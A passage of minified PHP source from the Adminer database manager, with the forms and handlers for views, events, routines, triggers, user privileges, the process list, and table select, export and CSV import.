';$Fd=0;foreach($K["source"]as$x=>$X){echo"<tr>","<td>".html_select("source[".(+$x)."]",array(-1=>"")+$Dg,$X,($Fd==count($K["source"])-1?"foreignAddRow(this);":1)),"<td>".html_select("target[".(+$x)."]",$bh,$K["target"][$x]);$Fd++;}echo'</table>
<p>
',lang(89),': ',html_select("on_delete",array(-1=>"")+explode("|",$Me),$K["on_delete"]),' ',lang(88),': ',html_select("on_update",array(-1=>"")+explode("|",$Me),$K["on_update"]),doc_link(array('sql'=>"innodb-foreign-key-constraints.html",'pgsql'=>"sql-createtable.html#SQL-CREATETABLE-REFERENCES",'mssql'=>"ms174979.aspx",'oracle'=>"clauses002.htm#sthref2903",)),'<p>
<input type="submit" value="',lang(14),'">
<noscript><p><input type="submit" name="add" value="',lang(189),'"></noscript>
';}if($C!=""){echo'<input type="submit" name="drop" value="',lang(116),'"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["view"])){$a=$_GET["view"];$K=$_POST;if($_POST&&!$n){$C=trim($K["name"]);$Ga=" AS\n$K[select]";$A=ME."table=".urlencode($C);$le=lang(190);if($_GET["materialized"])$U="MATERIALIZED VIEW";else{$U="VIEW";if($w=="pgsql"){$Ig=table_status($C);$U=($Ig?strtoupper($Ig["Engine"]):$U);}}if(!$_POST["drop"]&&$a==$C&&$w!="sqlite"&&$U!="MATERIALIZED VIEW")query_redirect(($w=="mssql"?"ALTER":"CREATE OR REPLACE")." VIEW ".table($C).$Ga,$A,$le);else{$dh=$C."_adminer_".uniqid();drop_create("DROP $U ".table($a),"CREATE $U ".table($C).$Ga,"DROP $U ".table($C),"CREATE $U ".table($dh).$Ga,"DROP $U ".table($dh),($_POST["drop"]?substr(ME,0,-1):$A),lang(191),$le,lang(192),$a,$C);}}if(!$_POST&&$a!=""){$K=view($a);$K["name"]=$a;if(!$n)$n=error();}page_header(($a!=""?lang(40):lang(193)),$n,array("table"=>$a),h($a));echo'
<form action="" method="post">
<p>',lang(171),': <input name="name" value="',h($K["name"]),'" maxlength="64" autocapitalize="off">
<p>';textarea("select",$K["select"]);echo'<p>
<input type="submit" value="',lang(14),'">
';if($_GET["view"]!=""){echo'<input type="submit" name="drop" value="',lang(116),'"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["event"])){$aa=$_GET["event"];$xd=array("YEAR","QUARTER","MONTH","DAY","HOUR","MINUTE","WEEK","SECOND","YEAR_MONTH","DAY_HOUR","DAY_MINUTE","DAY_SECOND","HOUR_MINUTE","HOUR_SECOND","MINUTE_SECOND");$Jg=array("ENABLED"=>"ENABLE","DISABLED"=>"DISABLE","SLAVESIDE_DISABLED"=>"DISABLE ON SLAVE");$K=$_POST;if($_POST&&!$n){if($_POST["drop"])query_redirect("DROP EVENT ".idf_escape($aa),substr(ME,0,-1),lang(194));elseif(in_array($K["INTERVAL_FIELD"],$xd)&&isset($Jg[$K["STATUS"]])){$mg="\nON SCHEDULE ".($K["INTERVAL_VALUE"]?"EVERY ".q($K["INTERVAL_VALUE"])." $K[INTERVAL_FIELD]".($K["STARTS"]?" STARTS ".q($K["STARTS"]):"").($K["ENDS"]?" ENDS ".q($K["ENDS"]):""):"AT ".q($K["STARTS"]))." ON COMPLETION".($K["ON_COMPLETION"]?"":" NOT")." PRESERVE";queries_redirect(substr(ME,0,-1),($aa!=""?lang(195):lang(196)),queries(($aa!=""?"ALTER EVENT ".idf_escape($aa).$mg.($aa!=$K["EVENT_NAME"]?"\nRENAME TO ".idf_escape($K["EVENT_NAME"]):""):"CREATE EVENT ".idf_escape($K["EVENT_NAME"]).$mg)."\n".$Jg[$K["STATUS"]]." COMMENT ".q($K["EVENT_COMMENT"]).rtrim(" DO\n$K[EVENT_DEFINITION]",";").";"));}}page_header(($aa!=""?lang(197).": ".h($aa):lang(198)),$n);if(!$K&&$aa!=""){$L=get_rows("SELECT * FROM information_schema.EVENTS WHERE EVENT_SCHEMA = ".q(DB)." AND EVENT_NAME = ".q($aa));$K=reset($L);}echo'
<form action="" method="post">
<table cellspacing="0">
<tr><th>',lang(171),'<td><input name="EVENT_NAME" value="',h($K["EVENT_NAME"]),'" maxlength="64" autocapitalize="off">
<tr><th title="datetime">',lang(199),'<td><input name="STARTS" value="',h("$K[EXECUTE_AT]$K[STARTS]"),'">
<tr><th title="datetime">',lang(200),'<td><input name="ENDS" value="',h($K["ENDS"]),'">
<tr><th>',lang(201),'<td><input type="number" name="INTERVAL_VALUE" value="',h($K["INTERVAL_VALUE"]),'" class="size"> ',html_select("INTERVAL_FIELD",$xd,$K["INTERVAL_FIELD"]),'<tr><th>',lang(107),'<td>',html_select("STATUS",$Jg,$K["STATUS"]),'<tr><th>',lang(96),'<td><input name="EVENT_COMMENT" value="',h($K["EVENT_COMMENT"]),'" maxlength="64">
<tr><th>&nbsp;<td>',checkbox("ON_COMPLETION","PRESERVE",$K["ON_COMPLETION"]=="PRESERVE",lang(202)),'</table>
<p>';textarea("EVENT_DEFINITION",$K["EVENT_DEFINITION"]);echo'<p>
<input type="submit" value="',lang(14),'">
';if($aa!=""){echo'<input type="submit" name="drop" value="',lang(116),'"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["procedure"])){$da=$_GET["procedure"];$hg=(isset($_GET["function"])?"FUNCTION":"PROCEDURE");$K=$_POST;$K["fields"]=(array)$K["fields"];if($_POST&&!process_fields($K["fields"])&&!$n){$dh="$K[name]_adminer_".uniqid();drop_create("DROP $hg ".idf_escape($da),create_routine($hg,$K),"DROP $hg ".idf_escape($K["name"]),create_routine($hg,array("name"=>$dh)+$K),"DROP $hg ".idf_escape($dh),substr(ME,0,-1),lang(203),lang(204),lang(205),$da,$K["name"]);}page_header(($da!=""?(isset($_GET["function"])?lang(206):lang(207)).": ".h($da):(isset($_GET["function"])?lang(208):lang(209))),$n);if(!$_POST&&$da!=""){$K=routine($da,$hg);$K["name"]=$da;}$nb=get_vals("SHOW CHARACTER SET");sort($nb);$ig=routine_languages();echo'
<form action="" method="post" id="form">
<p>',lang(171),': <input name="name" value="',h($K["name"]),'" maxlength="64" autocapitalize="off">
',($ig?lang(19).": ".html_select("language",$ig,$K["language"]):""),'<input type="submit" value="',lang(14),'">
<table cellspacing="0" class="nowrap">
';edit_fields($K["fields"],$nb,$hg);if(isset($_GET["function"])){echo"<tr><td>".lang(210);edit_type("returns",$K["returns"],$nb);}echo'</table>
<p>';textarea("definition",$K["definition"]);echo'<p>
<input type="submit" value="',lang(14),'">
';if($da!=""){echo'<input type="submit" name="drop" value="',lang(116),'"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["sequence"])){$fa=$_GET["sequence"];$K=$_POST;if($_POST&&!$n){$_=substr(ME,0,-1);$C=trim($K["name"]);if($_POST["drop"])query_redirect("DROP SEQUENCE ".idf_escape($fa),$_,lang(211));elseif($fa=="")query_redirect("CREATE SEQUENCE ".idf_escape($C),$_,lang(212));elseif($fa!=$C)query_redirect("ALTER SEQUENCE ".idf_escape($fa)." RENAME TO ".idf_escape($C),$_,lang(213));else
redirect($_);}page_header($fa!=""?lang(214).": ".h($fa):lang(215),$n);if(!$K)$K["name"]=$fa;echo'
<form action="" method="post">
<p><input name="name" value="',h($K["name"]),'" autocapitalize="off">
<input type="submit" value="',lang(14),'">
';if($fa!="")echo"<input type='submit' name='drop' value='".lang(116)."'".confirm().">\n";echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["type"])){$ga=$_GET["type"];$K=$_POST;if($_POST&&!$n){$_=substr(ME,0,-1);if($_POST["drop"])query_redirect("DROP TYPE ".idf_escape($ga),$_,lang(216));else
query_redirect("CREATE TYPE ".idf_escape(trim($K["name"]))." $K[as]",$_,lang(217));}page_header($ga!=""?lang(218).": ".h($ga):lang(219),$n);if(!$K)$K["as"]="AS ";echo'
<form action="" method="post">
<p>
';if($ga!="")echo"<input type='submit' name='drop' value='".lang(116)."'".confirm().">\n";else{echo"<input name='name' value='".h($K['name'])."' autocapitalize='off'>\n";textarea("as",$K["as"]);echo"<p><input type='submit' value='".lang(14)."'>\n";}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["trigger"])){$a=$_GET["trigger"];$C=$_GET["name"];$yh=trigger_options();$K=(array)trigger($C)+array("Trigger"=>$a."_bi");if($_POST){if(!$n&&in_array($_POST["Timing"],$yh["Timing"])&&in_array($_POST["Event"],$yh["Event"])&&in_array($_POST["Type"],$yh["Type"])){$Le=" ON ".table($a);$Yb="DROP TRIGGER ".idf_escape($C).($w=="pgsql"?$Le:"");$A=ME."table=".urlencode($a);if($_POST["drop"])query_redirect($Yb,$A,lang(220));else{if($C!="")queries($Yb);queries_redirect($A,($C!=""?lang(221):lang(222)),queries(create_trigger($Le,$_POST)));if($C!="")queries(create_trigger($Le,$K+array("Type"=>reset($yh["Type"]))));}}$K=$_POST;}page_header(($C!=""?lang(223).": ".h($C):lang(224)),$n,array("table"=>$a));echo'
<form action="" method="post" id="form">
<table cellspacing="0">
<tr><th>',lang(225),'<td>',html_select("Timing",$yh["Timing"],$K["Timing"],"triggerChange(/^".preg_quote($a,"/")."_[ba][iud]$/, '".js_escape($a)."', this.form);"),'<tr><th>',lang(226),'<td>',html_select("Event",$yh["Event"],$K["Event"],"this.form['Timing'].onchange();"),(in_array("UPDATE OF",$yh["Event"])?" <input name='Of' value='".h($K["Of"])."' class='hidden'>":""),'<tr><th>',lang(92),'<td>',html_select("Type",$yh["Type"],$K["Type"]),'</table>
<p>',lang(171),': <input name="Trigger" value="',h($K["Trigger"]);?>" maxlength="64" autocapitalize="off">
<script type="text/javascript">document.getElementById('form')['Timing'].onchange();</script>
<p><?php textarea("Statement",$K["Statement"]);echo'<p>
<input type="submit" value="',lang(14),'">
';if($C!=""){echo'<input type="submit" name="drop" value="',lang(116),'"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["user"])){$ha=$_GET["user"];$Gf=array(""=>array("All privileges"=>""));foreach(get_rows("SHOW PRIVILEGES")as$K){foreach(explode(",",($K["Privilege"]=="Grant option"?"":$K["Context"]))as$yb)$Gf[$yb][$K["Privilege"]]=$K["Comment"];}$Gf["Server Admin"]+=$Gf["File access on server"];$Gf["Databases"]["Create routine"]=$Gf["Procedures"]["Create routine"];unset($Gf["Procedures"]["Create routine"]);$Gf["Columns"]=array();foreach(array("Select","Insert","Update","References")as$X)$Gf["Columns"][$X]=$Gf["Tables"][$X];unset($Gf["Server Admin"]["Usage"]);foreach($Gf["Tables"]as$x=>$X)unset($Gf["Databases"][$x]);$ye=array();if($_POST){foreach($_POST["objects"]as$x=>$X)$ye[$X]=(array)$ye[$X]+(array)$_POST["grants"][$x];}$Wc=array();$Je="";if(isset($_GET["host"])&&($I=$h->query("SHOW GRANTS FOR ".q($ha)."@".q($_GET["host"])))){while($K=$I->fetch_row()){if(preg_match('~GRANT (.*) ON (.*) TO ~',$K[0],$B)&&preg_match_all('~ *([^(,]*[^ ,(])( *\\([^)]+\\))?~',$B[1],$de,PREG_SET_ORDER)){foreach($de
as$X){if($X[1]!="USAGE")$Wc["$B[2]$X[2]"][$X[1]]=true;if(preg_match('~ WITH GRANT OPTION~',$K[0]))$Wc["$B[2]$X[2]"]["GRANT OPTION"]=true;}}if(preg_match("~ IDENTIFIED BY PASSWORD '([^']+)~",$K[0],$B))$Je=$B[1];}}if($_POST&&!$n){$Ke=(isset($_GET["host"])?q($ha)."@".q($_GET["host"]):"''");if($_POST["drop"])query_redirect("DROP USER $Ke",ME."privileges=",lang(227));else{$_e=q($_POST["user"])."@".q($_POST["host"]);$pf=$_POST["pass"];if($pf!=''&&!$_POST["hashed"]){$pf=$h->result("SELECT PASSWORD(".q($pf).")");$n=!$pf;}$Cb=false;if(!$n){if($Ke!=$_e){$Cb=queries(($h->server_info<5?"GRANT USAGE ON *.* TO":"CREATE USER")." $_e IDENTIFIED BY PASSWORD ".q($pf));$n=!$Cb;}elseif($pf!=$Je)queries("SET PASSWORD FOR $_e = ".q($pf));}if(!$n){$eg=array();foreach($ye
as$Ee=>$Vc){if(isset($_GET["grant"]))$Vc=array_filter($Vc);$Vc=array_keys($Vc);if(isset($_GET["grant"]))$eg=array_diff(array_keys(array_filter($ye[$Ee],'strlen')),$Vc);elseif($Ke==$_e){$He=array_keys((array)$Wc[$Ee]);$eg=array_diff($He,$Vc);$Vc=array_diff($Vc,$He);unset($Wc[$Ee]);}if(preg_match('~^(.+)\\s*(\\(.*\\))?$~U',$Ee,$B)&&(!grant("REVOKE",$eg,$B[2]," ON $B[1] FROM $_e")||!grant("GRANT",$Vc,$B[2]," ON $B[1] TO $_e"))){$n=true;break;}}}if(!$n&&isset($_GET["host"])){if($Ke!=$_e)queries("DROP USER $Ke");elseif(!isset($_GET["grant"])){foreach($Wc
as$Ee=>$eg){if(preg_match('~^(.+)(\\(.*\\))?$~U',$Ee,$B))grant("REVOKE",array_keys($eg),$B[2]," ON $B[1] FROM $_e");}}}queries_redirect(ME."privileges=",(isset($_GET["host"])?lang(228):lang(229)),!$n);if($Cb)$h->query("DROP USER $_e");}}page_header((isset($_GET["host"])?lang(33).": ".h("$ha@$_GET[host]"):lang(135)),$n,array("privileges"=>array('',lang(63))));if($_POST){$K=$_POST;$Wc=$ye;}else{$K=$_GET+array("host"=>$h->result("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', -1)"));$K["pass"]=$Je;if($Je!="")$K["hashed"]=true;$Wc[(DB==""||$Wc?"":idf_escape(addcslashes(DB,"%_\\"))).".*"]=array();}echo'<form action="" method="post">
<table cellspacing="0">
<tr><th>',lang(32),'<td><input name="host" maxlength="60" value="',h($K["host"]),'" autocapitalize="off">
<tr><th>',lang(33),'<td><input name="user" maxlength="16" value="',h($K["user"]),'" autocapitalize="off">
<tr><th>',lang(34),'<td><input name="pass" id="pass" value="',h($K["pass"]),'">
';if(!$K["hashed"]){echo'<script type="text/javascript">typePassword(document.getElementById(\'pass\'));</script>';}echo
checkbox("hashed",1,$K["hashed"],lang(230),"typePassword(this.form['pass'], this.checked);"),'</table>

';echo"<table cellspacing='0'>\n","<thead><tr><th colspan='2'>".lang(63).doc_link(array('sql'=>"grant.html#priv_level"));$s=0;foreach($Wc
as$Ee=>$Vc){echo'<th>'.($Ee!="*.*"?"<input name='objects[$s]' value='".h($Ee)."' size='10' autocapitalize='off'>":"<input type='hidden' name='objects[$s]' value='*.*' size='10'>*.*");$s++;}echo"</thead>\n";foreach(array(""=>"","Server Admin"=>lang(32),"Databases"=>lang(35),"Tables"=>lang(119),"Columns"=>lang(120),"Procedures"=>lang(231),)as$yb=>$Ob){foreach((array)$Gf[$yb]as$Ff=>$rb){echo"<tr".odd()."><td".($Ob?">$Ob<td":" colspan='2'").' lang="en" title="'.h($rb).'">'.h($Ff);$s=0;foreach($Wc
as$Ee=>$Vc){$C="'grants[$s][".h(strtoupper($Ff))."]'";$Y=$Vc[strtoupper($Ff)];if($yb=="Server Admin"&&$Ee!=(isset($Wc["*.*"])?"*.*":".*"))echo"<td>&nbsp;";elseif(isset($_GET["grant"]))echo"<td><select name=$C><option><option value='1'".($Y?" selected":"").">".lang(232)."<option value='0'".($Y=="0"?" selected":"").">".lang(233)."</select>";else
echo"<td align='center'><label class='block'><input type='checkbox' name=$C value='1'".($Y?" checked":"").($Ff=="All privileges"?" id='grants-$s-all'":($Ff=="Grant option"?"":" onclick=\"if (this.checked) formUncheck('grants-$s-all');\""))."></label>";$s++;}}}echo"</table>\n",'<p>
<input type="submit" value="',lang(14),'">
';if(isset($_GET["host"])){echo'<input type="submit" name="drop" value="',lang(116),'"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["processlist"])){if(support("kill")&&$_POST&&!$n){$Md=0;foreach((array)$_POST["kill"]as$X){if(queries("KILL ".number($X)))$Md++;}queries_redirect(ME."processlist=",lang(234,$Md),$Md||!$_POST["kill"]);}page_header(lang(105),$n);echo'
<form action="" method="post">
<table cellspacing="0" onclick="tableClick(event);" ondblclick="tableClick(event, true);" class="nowrap checkable">
';$s=-1;foreach(process_list()as$s=>$K){if(!$s){echo"<thead><tr lang='en'>".(support("kill")?"<th>&nbsp;":"");foreach($K
as$x=>$X)echo"<th>$x".doc_link(array('sql'=>"show-processlist.html#processlist_".strtolower($x),'pgsql'=>"monitoring-stats.html#PG-STAT-ACTIVITY-VIEW",'oracle'=>"../b14237/dynviews_2088.htm",));echo"</thead>\n";}echo"<tr".odd().">".(support("kill")?"<td>".checkbox("kill[]",$K["Id"],0):"");foreach($K
as$x=>$X)echo"<td>".(($w=="sql"&&$x=="Info"&&preg_match("~Query|Killed~",$K["Command"])&&$X!="")||($w=="pgsql"&&$x=="current_query"&&$X!="<IDLE>")||($w=="oracle"&&$x=="sql_text"&&$X!="")?"<code class='jush-$w'>".shorten_utf8($X,100,"</code>").' <a href="'.h(ME.($K["db"]!=""?"db=".urlencode($K["db"])."&":"")."sql=".urlencode($X)).'">'.lang(235).'</a>':nbsp($X));echo"\n";}echo'</table>
<script type=\'text/javascript\'>tableCheck();</script>
<p>
';if(support("kill")){echo($s+1)."/".lang(236,$h->result("SELECT @@max_connections")),"<p><input type='submit' value='".lang(237)."'>\n";}echo'<input type="hidden" name="token" value="',$T,'">
</form>
';}elseif(isset($_GET["select"])){$a=$_GET["select"];$R=table_status1($a);$v=indexes($a);$p=fields($a);$Oc=column_foreign_keys($a);$Ge="";if($R["Oid"]){$Ge=($w=="sqlite"?"rowid":"oid");$v[]=array("type"=>"PRIMARY","columns"=>array($Ge));}parse_str($_COOKIE["adminer_import"],$ya);$fg=array();$f=array();$hh=null;foreach($p
as$x=>$o){$C=$b->fieldName($o);if(isset($o["privileges"]["select"])&&$C!=""){$f[$x]=html_entity_decode(strip_tags($C),ENT_QUOTES);if(is_shortable($o))$hh=$b->selectLengthProcess();}$fg+=$o["privileges"];}list($M,$Xc)=$b->selectColumnsProcess($f,$v);$Ad=count($Xc)<count($M);$Z=$b->selectSearchProcess($p,$v);$We=$b->selectOrderProcess($p,$v);$z=$b->selectLimitProcess();$Tc=($M?implode(", ",$M):"*".($Ge?", $Ge":"")).convert_fields($f,$p,$M)."\nFROM ".table($a);$Yc=($Xc&&$Ad?"\nGROUP BY ".implode(", ",$Xc):"").($We?"\nORDER BY ".implode(", ",$We):"");if($_GET["val"]&&is_ajax()){header("Content-Type: text/plain; charset=utf-8");foreach($_GET["val"]as$Fh=>$K){$Ga=convert_field($p[key($K)]);$M=array($Ga?$Ga:idf_escape(key($K)));$Z[]=where_check($Fh,$p);$J=$Wb->select($a,$M,$Z,$M);if($J)echo
reset($J->fetch_row());}exit;}if($_POST&&!$n){$ci=$Z;if(!$_POST["all"]&&is_array($_POST["check"])){$eb=array();foreach($_POST["check"]as$bb)$eb[]=where_check($bb,$p);$ci[]="((".implode(") OR (",$eb)."))";}$ci=($ci?"\nWHERE ".implode(" AND ",$ci):"");$Bf=$Hh=null;foreach($v
as$u){if($u["type"]=="PRIMARY"){$Bf=array_flip($u["columns"]);$Hh=($M?$Bf:array());break;}}foreach((array)$Hh
as$x=>$X){if(in_array(idf_escape($x),$M))unset($Hh[$x]);}if($_POST["export"]){cookie("adminer_import","output=".urlencode($_POST["output"])."&format=".urlencode($_POST["format"]));dump_headers($a);$b->dumpTable($a,"");if(!is_array($_POST["check"])||$Hh===array())$H="SELECT $Tc$ci$Yc";else{$Dh=array();foreach($_POST["check"]as$X)$Dh[]="(SELECT".limit($Tc,"\nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($X,$p).$Yc,1).")";$H=implode(" UNION ALL ",$Dh);}$b->dumpData($a,"table",$H);exit;}if(!$b->selectEmailProcess($Z,$Oc)){if($_POST["save"]||$_POST["delete"]){$I=true;$za=0;$O=array();if(!$_POST["delete"]){foreach($f
as$C=>$X){$X=process_input($p[$C]);if($X!==null&&($_POST["clone"]||$X!==false))$O[idf_escape($C)]=($X!==false?$X:idf_escape($C));}}if($_POST["delete"]||$O){if($_POST["clone"])$H="INTO ".table($a)." (".implode(", ",array_keys($O)).")\nSELECT ".implode(", ",$O)."\nFROM ".table($a);if($_POST["all"]||($Hh===array()&&is_array($_POST["check"]))||$Ad){$I=($_POST["delete"]?$Wb->delete($a,$ci):($_POST["clone"]?queries("INSERT $H$ci"):$Wb->update($a,$O,$ci)));$za=$h->affected_rows;}else{foreach((array)$_POST["check"]as$X){$bi="\nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($X,$p);$I=($_POST["delete"]?$Wb->delete($a,$bi,1):($_POST["clone"]?queries("INSERT".limit1($H,$bi)):$Wb->update($a,$O,$bi)));if(!$I)break;$za+=$h->affected_rows;}}}$le=lang(238,$za);if($_POST["clone"]&&$I&&$za==1){$Rd=last_id();if($Rd)$le=lang(157," $Rd");}queries_redirect(remove_from_uri($_POST["all"]&&$_POST["delete"]?"page":""),$le,$I);if(!$_POST["delete"]){edit_form($a,$p,(array)$_POST["fields"],!$_POST["clone"]);page_footer();exit;}}elseif(!$_POST["import"]){if(!$_POST["val"])$n=lang(239);else{$I=true;$za=0;foreach($_POST["val"]as$Fh=>$K){$O=array();foreach($K
as$x=>$X){$x=bracket_escape($x,1);$O[idf_escape($x)]=(preg_match('~char|text~',$p[$x]["type"])||$X!=""?$b->processInput($p[$x],$X):"NULL");}$I=$Wb->update($a,$O," WHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($Fh,$p),!($Ad||$Hh===array())," ");if(!$I)break;$za+=$h->affected_rows;}queries_redirect(remove_from_uri(),lang(238,$za),$I);}}elseif(!is_string($Hc=get_file("csv_file",true)))$n=upload_error($Hc);elseif(!preg_match('~~u',$Hc))$n=lang(240);else{cookie("adminer_import","output=".urlencode($ya["output"])."&format=".urlencode($_POST["separator"]));$I=true;$ob=array_keys($p);preg_match_all('~(?>"[^"]*"|[^"\\r\\n]+)+~',$Hc,$de);$za=count($de[0]);$Wb->begin();$ug=($_POST["separator"]=="csv"?",":($_POST["separator"]=="tsv"?"\t":";"));$L=array();foreach($de[0]as$x=>$X){preg_match_all("~((?>\"[^\"]*\")+|[^$ug]*)$ug~",$X.$ug,$ee);if(!$x&&!array_diff($ee[1],$ob)){$ob=$ee[1];$za--;}else{$O=array();foreach($ee[1]as$s=>$lb)$O[idf_escape($ob[$s])]=($lb==""&&$p[$ob[$s]]["null"]?"NULL":q

SAMX